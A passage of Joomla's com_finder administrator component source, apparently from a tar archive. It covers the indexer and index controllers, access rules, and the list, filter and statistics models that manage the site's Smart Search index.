		if ($params->get('enable_logging', '0'))
		{
			$options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}';
			$options['text_file'] = 'indexer.php';
			JLog::addLogger($options);
		}

		// Log the start
		try
		{
			JLog::add('Starting the indexer batch process', JLog::INFO);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// We don't want this form to be cached.
		$app = JFactory::getApplication();
		$app->setHeader('Expires', 'Mon, 1 Jan 2001 00:00:00 GMT', true);
		$app->setHeader('Last-Modified', gmdate('D, d M Y H:i:s') . ' GMT', true);
		$app->setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0', false);
		$app->setHeader('Pragma', 'no-cache');

		// Check for a valid token. If invalid, send a 403 with the error message.
		JSession::checkToken('request') or static::sendResponse(new Exception(JText::_('JINVALID_TOKEN_NOTICE'), 403));

		// Put in a buffer to silence noise.
		ob_start();

		// Remove the script time limit.
		@set_time_limit(0);

		// Get the indexer state.
		$state = FinderIndexer::getState();

		// Reset the batch offset.
		$state->batchOffset = 0;

		// Update the indexer state.
		FinderIndexer::setState($state);

		// Import the finder plugins.
		JPluginHelper::importPlugin('finder');

		/*
		 * We are going to swap out the raw document object with an HTML document
		 * in order to work around some plugins that don't do proper environment
		 * checks before trying to use HTML document functions.
		 */
		$raw = clone JFactory::getDocument();
		$lang = JFactory::getLanguage();

		// Get the document properties.
		$attributes = array (
			'charset'   => 'utf-8',
			'lineend'   => 'unix',
			'tab'       => '  ',
			'language'  => $lang->getTag(),
			'direction' => $lang->isRtl() ? 'rtl' : 'ltr'
		);

		// Get the HTML document.
		$html = JDocument::getInstance('html', $attributes);

		// Todo: Why is this document fetched and immediately overwritten?
		$doc = JFactory::getDocument();

		// Swap the documents.
		$doc = $html;

		// Get the admin application.
		$admin = clone JFactory::getApplication();

		// Get the site app.
		$site = JApplicationCms::getInstance('site');

		// Swap the app.
		$app = JFactory::getApplication();

		// Todo: Why is the app fetched and immediately overwritten?
		$app = $site;

		// Start the indexer.
		try
		{
			// Trigger the onBeforeIndex event.
			JEventDispatcher::getInstance()->trigger('onBeforeIndex');

			// Trigger the onBuildIndex event.
			JEventDispatcher::getInstance()->trigger('onBuildIndex');

			// Get the indexer state.
			$state = FinderIndexer::getState();
			$state->start = 0;
			$state->complete = 0;

			// Swap the documents back.
			$doc = $raw;

			// Swap the applications back.
			$app = $admin;

			// Log batch completion and memory high-water mark.
			try
			{
				JLog::add('Batch completed, peak memory usage: ' . number_format(memory_get_peak_usage(true)) . ' bytes', JLog::INFO);
			}
			catch (RuntimeException $exception)
			{
				// Informational log only
			}

			// Send the response.
			static::sendResponse($state);
		}

		// Catch an exception and return the response.
		catch (Exception $e)
		{
			// Swap the documents back.
			$doc = $raw;

			// Send the response.
			static::sendResponse($e);
		}
	}

	/**
	 * Method to optimize the index and perform any necessary cleanup.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function optimize()
	{
		// We don't want this form to be cached.
		$app = JFactory::getApplication();
		$app->setHeader('Expires', 'Mon, 1 Jan 2001 00:00:00 GMT', true);
		$app->setHeader('Last-Modified', gmdate('D, d M Y H:i:s') . ' GMT', true);
		$app->setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0', false);
		$app->setHeader('Pragma', 'no-cache');

		// Check for a valid token. If invalid, send a 403 with the error message.
		JSession::checkToken('request') or static::sendResponse(new Exception(JText::_('JINVALID_TOKEN_NOTICE'), 403));

		// Put in a buffer to silence noise.
		ob_start();

		// Import the finder plugins.
		JPluginHelper::importPlugin('finder');

		try
		{
			// Optimize the index
			FinderIndexer::getInstance()->optimize();

			// Get the indexer state.
			$state = FinderIndexer::getState();
			$state->start = 0;
			$state->complete = 1;

			// Send the response.
			static::sendResponse($state);
		}

		// Catch an exception and return the response.
		catch (Exception $e)
		{
			static::sendResponse($e);
		}
	}

	/**
	 * Method to handle a send a JSON response. The body parameter
	 * can be an Exception object for when an error has occurred or
	 * a JObject for a good response.
	 *
	 * @param   mixed  $data  JObject on success, Exception on error. [optional]
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public static function sendResponse($data = null)
	{
		// This method always sends a JSON response
		$app = JFactory::getApplication();
		$app->mimeType = 'application/json';

		$params = JComponentHelper::getParams('com_finder');

		if ($params->get('enable_logging', '0'))
		{
			$options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}';
			$options['text_file'] = 'indexer.php';
			JLog::addLogger($options);
		}

		// Send the assigned error code if we are catching an exception.
		if ($data instanceof Exception)
		{
			try
			{
				JLog::add($data->getMessage(), JLog::ERROR);
			}
			catch (RuntimeException $exception)
			{
				// Informational log only
			}

			$app->setHeader('status', $data->getCode());
		}

		// Create the response object.
		$response = new FinderIndexerResponse($data);

		// Add the buffer.
		$response->buffer = JDEBUG ? ob_get_contents() : ob_end_clean();

		// Send the JSON response.
		$app->setHeader('Content-Type', $app->mimeType . '; charset=' . $app->charSet);
		$app->sendHeaders();
		echo json_encode($response);

		// Close the application.
		$app->close();
	}
}

/**
 * Finder Indexer JSON Response Class
 *
 * @since  2.5
 */
class FinderIndexerResponse
{
	/**
	 * Class Constructor
	 *
	 * @param   mixed  $state  The processing state for the indexer
	 *
	 * @since   2.5
	 */
	public function __construct($state)
	{
		$params = JComponentHelper::getParams('com_finder');

		if ($params->get('enable_logging', '0'))
		{
			$options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}';
			$options['text_file'] = 'indexer.php';
			JLog::addLogger($options);
		}

		// The old token is invalid so send a new one.
		$this->token = JFactory::getSession()->getFormToken();

		// Check if we are dealing with an error.
		if ($state instanceof Exception)
		{
			// Log the error
			try
			{
				JLog::add($state->getMessage(), JLog::ERROR);
			}
			catch (RuntimeException $exception)
			{
				// Informational log only
			}

			// Prepare the error response.
			$this->error = true;
			$this->header = JText::_('COM_FINDER_INDEXER_HEADER_ERROR');
			$this->message = $state->getMessage();
		}
		else
		{
			// Prepare the response data.
			$this->batchSize = (int) $state->batchSize;
			$this->batchOffset = (int) $state->batchOffset;
			$this->totalItems = (int) $state->totalItems;

			$this->startTime = $state->startTime;
			$this->endTime = JFactory::getDate()->toSql();

			$this->start = !empty($state->start) ? (int) $state->start : 0;
			$this->complete = !empty($state->complete) ? (int) $state->complete : 0;

			// Set the appropriate messages.
			if ($this->totalItems <= 0 && $this->complete)
			{
				$this->header = JText::_('COM_FINDER_INDEXER_HEADER_COMPLETE');
				$this->message = JText::_('COM_FINDER_INDEXER_MESSAGE_COMPLETE');
			}
			elseif ($this->totalItems <= 0)
			{
				$this->header = JText::_('COM_FINDER_INDEXER_HEADER_OPTIMIZE');
				$this->message = JText::_('COM_FINDER_INDEXER_MESSAGE_OPTIMIZE');
			}
			else
			{
				$this->header = JText::_('COM_FINDER_INDEXER_HEADER_RUNNING');
				$this->message = JText::_('COM_FINDER_INDEXER_MESSAGE_RUNNING');
			}
		}
	}
}

// Register the error handler.
JError::setErrorHandling(E_ALL, 'callback', array('FinderControllerIndexer', 'sendResponse'));
com_finder/controllers/index.php000060400000003072152455305310013040 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Index controller class for Finder.
 *
 * @since  2.5
 */
class FinderControllerIndex extends JControllerAdmin
{
	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   2.5
	 */
	public function getModel($name = 'Index', $prefix = 'FinderModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Method to purge all indexed links from the database.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	public function purge()
	{
		$this->checkToken();

		// Remove the script time limit.
		@set_time_limit(0);

		$model = $this->getModel('Index', 'FinderModel');

		// Attempt to purge the index.
		$return = $model->purge();

		if (!$return)
		{
			$message = JText::_('COM_FINDER_INDEX_PURGE_FAILED', $model->getError());
			$this->setRedirect('index.php?option=com_finder&view=index', $message);

			return false;
		}
		else
		{
			$message = JText::_('COM_FINDER_INDEX_PURGE_SUCCESS');
			$this->setRedirect('index.php?option=com_finder&view=index', $message);

			return true;
		}
	}
}
com_finder/access.xml000060400000001463152455305310010637 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_finder">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.options" title="JACTION_OPTIONS" description="JACTION_OPTIONS_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
	</section>
</access>
com_finder/models/indexer.php000060400000000567152455305310012312 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Indexer model class for Finder.
 *
 * @since  2.5
 */
class FinderModelIndexer extends JModelLegacy
{
}
com_finder/models/filters.php000060400000007364152455305310012326 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Filters model class for Finder.
 *
 * @since  2.5
 */
class FinderModelFilters extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An associative array of configuration settings. [optional]
	 *
	 * @since   2.5
	 * @see     JControllerLegacy
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'filter_id', 'a.filter_id',
				'title', 'a.title',
				'state', 'a.state',
				'created_by_alias', 'a.created_by_alias',
				'created', 'a.created',
				'map_count', 'a.map_count'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery  A JDatabaseQuery object
	 *
	 * @since   2.5
	 */
	protected function getListQuery()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select all fields from the table.
		$query->select('a.*')
			->from($db->quoteName('#__finder_filters', 'a'));

		// Join over the users for the checked out user.
		$query->select($db->quoteName('uc.name', 'editor'))
			->join('LEFT', $db->quoteName('#__users', 'uc') . ' ON ' . $db->quoteName('uc.id') . ' = ' . $db->quoteName('a.checked_out'));

		// Join over the users for the author.
		$query->select($db->quoteName('ua.name', 'user_name'))
			->join('LEFT', $db->quoteName('#__users', 'ua') . ' ON ' . $db->quoteName('ua.id') . ' = ' . $db->quoteName('a.created_by'));

		// Check for a search filter.
		if ($search = $this->getState('filter.search'))
		{
			$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
			$query->where($db->quoteName('a.title') . ' LIKE ' . $search);
		}

		// If the model is set to check item state, add to the query.
		$state = $this->getState('filter.state');

		if (is_numeric($state))
		{
			$query->where($db->quoteName('a.state') . ' = ' . (int) $state);
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.title') . ' ' . $db->escape($this->getState('list.direction', 'ASC'))));

		return $query;
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id. [optional]
	 *
	 * @return  string  A store id.
	 *
	 * @since   2.5
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.state');

		return parent::getStoreId($id);
	}

	/**
	 * Method to auto-populate the model state.  Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field. [optional]
	 * @param   string  $direction  An optional direction. [optional]
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function populateState($ordering = 'a.title', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.state', $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'cmd'));

		// Load the parameters.
		$params = JComponentHelper::getParams('com_finder');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}
}
com_finder/models/index.php000060400000026656152455305310011772 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Index model class for Finder.
 *
 * @since  2.5
 */
class FinderModelIndex extends JModelList
{
	/**
	 * The event to trigger after deleting the data.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $event_after_delete = 'onContentAfterDelete';

	/**
	 * The event to trigger before deleting the data.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $event_before_delete = 'onContentBeforeDelete';

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An associative array of configuration settings. [optional]
	 *
	 * @since   2.5
	 * @see     JControllerLegacy
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'state', 'published', 'l.published',
				'title', 'l.title',
				'type', 'type_id', 'l.type_id',
				't.title', 't_title',
				'url', 'l.url',
				'indexdate', 'l.indexdate',
				'content_map',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission for the component.
	 *
	 * @since   2.5
	 */
	protected function canDelete($record)
	{
		return JFactory::getUser()->authorise('core.delete', $this->option);
	}

	/**
	 * Method to test whether a record can have its state changed.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record. Defaults to the permission for the component.
	 *
	 * @since   2.5
	 */
	protected function canEditState($record)
	{
		return JFactory::getUser()->authorise('core.edit.state', $this->option);
	}

	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  $pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   2.5
	 */
	public function delete(&$pks)
	{
		$dispatcher = JEventDispatcher::getInstance();
		$pks = (array) $pks;
		$table = $this->getTable();

		// Include the content plugins for the on delete events.
		JPluginHelper::importPlugin('content');

		// Iterate the items to delete each one.
		foreach ($pks as $i => $pk)
		{
			if ($table->load($pk))
			{
				if ($this->canDelete($table))
				{
					$context = $this->option . '.' . $this->name;

					// Trigger the onContentBeforeDelete event.
					$result = $dispatcher->trigger($this->event_before_delete, array($context, $table));

					if (in_array(false, $result, true))
					{
						$this->setError($table->getError());

						return false;
					}

					if (!$table->delete($pk))
					{
						$this->setError($table->getError());

						return false;
					}

					// Trigger the onContentAfterDelete event.
					$dispatcher->trigger($this->event_after_delete, array($context, $table));
				}
				else
				{
					// Prune items that you can't change.
					unset($pks[$i]);
					$error = $this->getError();

					if ($error)
					{
						$this->setError($error);
					}
					else
					{
						$this->setError(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED'));
					}
				}
			}
			else
			{
				$this->setError($table->getError());

				return false;
			}
		}

		// Clear the component's cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery  A JDatabaseQuery object
	 *
	 * @since   2.5
	 */
	protected function getListQuery()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('l.*')
			->select($db->quoteName('t.title', 't_title'))
			->from($db->quoteName('#__finder_links', 'l'))
			->join('INNER', $db->quoteName('#__finder_types', 't') . ' ON ' . $db->quoteName('t.id') . ' = ' . $db->quoteName('l.type_id'));

		// Check the type filter.
		$type = $this->getState('filter.type');

		if (is_numeric($type))
		{
			$query->where($db->quoteName('l.type_id') . ' = ' . (int) $type);
		}

		// Check the map filter.
		$contentMapId = $this->getState('filter.content_map');

		if (is_numeric($contentMapId))
		{
			$query->join('INNER', $db->quoteName('#__finder_taxonomy_map', 'm') . ' ON ' . $db->quoteName('m.link_id') . ' = ' . $db->quoteName('l.link_id'))
				->where($db->quoteName('m.node_id') . ' = ' . (int) $contentMapId);
		}

		// Check for state filter.
		$state = $this->getState('filter.state');

		if (is_numeric($state))
		{
			$query->where($db->quoteName('l.published') . ' = ' . (int) $state);
		}

		// Check the search phrase.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			$search      = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
			$orSearchSql = $db->quoteName('l.title') . ' LIKE ' . $search . ' OR ' . $db->quoteName('l.url') . ' LIKE ' . $search;

			// Filter by indexdate only if $search doesn't contains non-ascii characters
			if (!preg_match('/[^\x00-\x7F]/', $search))
			{
				$orSearchSql .= ' OR ' . $query->castAsChar($db->quoteName('l.indexdate')) . ' LIKE ' . $search;
			}

			$query->where('(' . $orSearchSql . ')');
		}

		// Handle the list ordering.
		$listOrder = $this->getState('list.ordering', 'l.title');
		$listDir   = $this->getState('list.direction', 'ASC');

		if ($listOrder === 't.title')
		{
			$ordering = $db->quoteName('t.title') . ' ' . $db->escape($listDir) . ', ' . $db->quoteName('l.title') . ' ' . $db->escape($listDir);
		}
		else
		{
			$ordering = $db->escape($listOrder) . ' ' . $db->escape($listDir);
		}

		$query->order($ordering);

		return $query;
	}

	/**
	 * Method to get the state of the Smart Search Plugins.
	 *
	 * @return  array  Array of relevant plugins and whether they are enabled or not.
	 *
	 * @since   2.5
	 */
	public function getPluginState()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('name, enabled')
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('folder') . ' IN (' . $db->quote('system') . ',' . $db->quote('content') . ')')
			->where($db->quoteName('element') . ' = ' . $db->quote('finder'));
		$db->setQuery($query);

		return $db->loadObjectList('name');
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id. [optional]
	 *
	 * @return  string  A store id.
	 *
	 * @since   2.5
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.state');
		$id .= ':' . $this->getState('filter.type');
		$id .= ':' . $this->getState('filter.content_map');

		return parent::getStoreId($id);
	}

	/**
	 * Gets the total of indexed items.
	 *
	 * @return  integer  The total of indexed items.
	 *
	 * @since   3.6.0
	 */
	public function getTotalIndexed()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('COUNT(link_id)')
			->from($db->quoteName('#__finder_links'));
		$db->setQuery($query);

		$db->execute();

		return (int) $db->loadResult();
	}

	/**
	 * Returns a JTable object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate. [optional]
	 * @param   string  $prefix  A prefix for the table class name. [optional]
	 * @param   array   $config  Configuration array for model. [optional]
	 *
	 * @return  JTable  A database object
	 *
	 * @since   2.5
	 */
	public function getTable($type = 'Link', $prefix = 'FinderTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to purge the index, deleting all links.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   2.5
	 * @throws  Exception on database error
	 */
	public function purge()
	{
		$db = $this->getDbo();

		// Truncate the links table.
		$db->truncateTable('#__finder_links');

		// Truncate the links terms tables.
		for ($i = 0; $i <= 15; $i++)
		{
			// Get the mapping table suffix.
			$suffix = dechex($i);

			$db->truncateTable('#__finder_links_terms' . $suffix);
		}

		// Truncate the terms table.
		$db->truncateTable('#__finder_terms');

		// Truncate the taxonomy map table.
		$db->truncateTable('#__finder_taxonomy_map');

		// Delete all the taxonomy nodes except the root.
		$query = $db->getQuery(true)
			->delete($db->quoteName('#__finder_taxonomy'))
			->where($db->quoteName('id') . ' > 1');
		$db->setQuery($query);
		$db->execute();

		// Truncate the tokens tables.
		$db->truncateTable('#__finder_tokens');

		// Truncate the tokens aggregate table.
		$db->truncateTable('#__finder_tokens_aggregate');

		return true;
	}

	/**
	 * Method to auto-populate the model state.  Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field. [optional]
	 * @param   string  $direction  An optional direction. [optional]
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function populateState($ordering = 'l.title', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.state', $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'cmd'));
		$this->setState('filter.type', $this->getUserStateFromRequest($this->context . '.filter.type', 'filter_type', '', 'cmd'));
		$this->setState('filter.content_map', $this->getUserStateFromRequest($this->context . '.filter.content_map', 'filter_content_map', '', 'cmd'));

		// Load the parameters.
		$params = JComponentHelper::getParams('com_finder');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    $pks    A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state. [optional]
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	public function publish(&$pks, $value = 1)
	{
		$dispatcher = JEventDispatcher::getInstance();
		$user = JFactory::getUser();
		$table = $this->getTable();
		$pks = (array) $pks;

		// Include the content plugins for the change of state event.
		JPluginHelper::importPlugin('content');

		// Access checks.
		foreach ($pks as $i => $pk)
		{
			$table->reset();

			if ($table->load($pk) && !$this->canEditState($table))
			{
				// Prune items that you can't change.
				unset($pks[$i]);
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'));

				return false;
			}
		}

		// Attempt to change the state of the records.
		if (!$table->publish($pks, $value, $user->get('id')))
		{
			$this->setError($table->getError());

			return false;
		}

		$context = $this->option . '.' . $this->name;

		// Trigger the onContentChangeState event.
		$result = $dispatcher->trigger('onContentChangeState', array($context, $pks, $value));

		if (in_array(false, $result, true))
		{
			$this->setError($table->getError());

			return false;
		}

		// Clear the component's cache
		$this->cleanCache();

		return true;
	}
}
com_finder/models/filter.php000060400000007160152455305310012135 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Filter model class for Finder.
 *
 * @since  2.5
 */
class FinderModelFilter extends JModelAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $text_prefix = 'COM_FINDER';

	/**
	 * Model context string.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context = 'com_finder.filter';

	/**
	 * Custom clean cache method.
	 *
	 * @param   string   $group     The component name. [optional]
	 * @param   integer  $clientId  The client ID. [optional]
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function cleanCache($group = 'com_finder', $clientId = 1)
	{
		parent::cleanCache($group, $clientId);
	}

	/**
	 * Method to get the filter data.
	 *
	 * @return  FinderTableFilter|boolean  The filter data or false on a failure.
	 *
	 * @since   2.5
	 */
	public function getFilter()
	{
		$filter_id = (int) $this->getState('filter.id');

		// Get a FinderTableFilter instance.
		$filter = $this->getTable();

		// Attempt to load the row.
		$return = $filter->load($filter_id);

		// Check for a database error.
		if ($return === false && $filter->getError())
		{
			$this->setError($filter->getError());

			return false;
		}

		// Process the filter data.
		if (!empty($filter->data))
		{
			$filter->data = explode(',', $filter->data);
		}
		elseif (empty($filter->data))
		{
			$filter->data = array();
		}

		// Check for a database error.
		if ($this->_db->getErrorNum())
		{
			$this->setError($this->_db->getErrorMsg());

			return false;
		}

		return $filter;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form. [optional]
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not. [optional]
	 *
	 * @return  JForm|boolean  A JForm object on success, false on failure
	 *
	 * @since   2.5
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_finder.filter', 'filter', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Returns a JTable object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate. [optional]
	 * @param   string  $prefix  A prefix for the table class name. [optional]
	 * @param   array   $config  Configuration array for model. [optional]
	 *
	 * @return  JTable  A database object
	 *
	 * @since   2.5
	 */
	public function getTable($type = 'Filter', $prefix = 'FinderTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   2.5
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_finder.edit.filter.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		$this->preprocessData('com_finder.filter', $data);

		return $data;
	}

	/**
	 * Method to get the total indexed items
	 *
	 * @return  number the number of indexed items
	 *
	 * @since  3.5
	 */
	public function getTotal()
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('MAX(link_id)')
			->from('#__finder_links');

		return $db->setQuery($query)->loadResult();
	}
}
com_finder/models/statistics.php000060400000004111152455305310013033 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Statistics model class for Finder.
 *
 * @since  2.5
 */
class FinderModelStatistics extends JModelLegacy
{
	/**
	 * Method to get the component statistics
	 *
	 * @return  JObject  The component statistics
	 *
	 * @since   2.5
	 */
	public function getData()
	{
		// Initialise
		$db = $this->getDbo();
		$query = $db->getQuery(true);
		$data = new JObject;

		$query->select('COUNT(term_id)')
			->from($db->quoteName('#__finder_terms'));
		$db->setQuery($query);
		$data->term_count = $db->loadResult();

		$query->clear()
			->select('COUNT(link_id)')
			->from($db->quoteName('#__finder_links'));
		$db->setQuery($query);
		$data->link_count = $db->loadResult();

		$query->clear()
			->select('COUNT(id)')
			->from($db->quoteName('#__finder_taxonomy'))
			->where($db->quoteName('parent_id') . ' = 1');
		$db->setQuery($query);
		$data->taxonomy_branch_count = $db->loadResult();

		$query->clear()
			->select('COUNT(id)')
			->from($db->quoteName('#__finder_taxonomy'))
			->where($db->quoteName('parent_id') . ' > 1');
		$db->setQuery($query);
		$data->taxonomy_node_count = $db->loadResult();

		$query->clear()
			->select('t.title AS type_title, COUNT(a.link_id) AS link_count')
			->from($db->quoteName('#__finder_links') . ' AS a')
			->join('INNER', $db->quoteName('#__finder_types') . ' AS t ON t.id = a.type_id')
			->group('a.type_id, t.title')
			->order($db->quoteName('type_title') . ' ASC');
		$db->setQuery($query);
		$data->type_list = $db->loadObjectList();

		$lang  = JFactory::getLanguage();
		$plugins = JPluginHelper::getPlugin('finder');

		foreach ($plugins as $plugin)
		{
			$lang->load('plg_finder_' . $plugin->name . '.sys', JPATH_ADMINISTRATOR, null, false, true)
			|| $lang->load('plg_finder_' . $plugin->name . '.sys', JPATH_PLUGINS . '/finder/' . $plugin->name, null, false, true);
		}

		return $data;
	}
}
com_finder/models/fields/searchfilter.php000060400000002173152455305310014570 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_BASE') or die();

JFormHelper::loadFieldClass('list');

/**
 * Search Filter field for the Finder package.
 *
 * @since  2.5
 */
class JFormFieldSearchFilter extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $type = 'SearchFilter';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   2.5
	 */
	public function getOptions()
	{
		// Build the query.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('f.title AS text, f.filter_id AS value')
			->from($db->quoteName('#__finder_filters') . ' AS f')
			->where('f.state = 1')
			->order('f.title ASC');
		$db->setQuery($query);
		$options = $db->loadObjectList();

		array_unshift($options, JHtml::_('select.option', '', JText::_('COM_FINDER_SELECT_SEARCH_FILTER'), 'value', 'text'));

		return $options;
	}
}
com_finder/models/fields/contentmap.php000060400000006155152455305310014271 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JFormHelper::loadFieldClass('groupedlist');

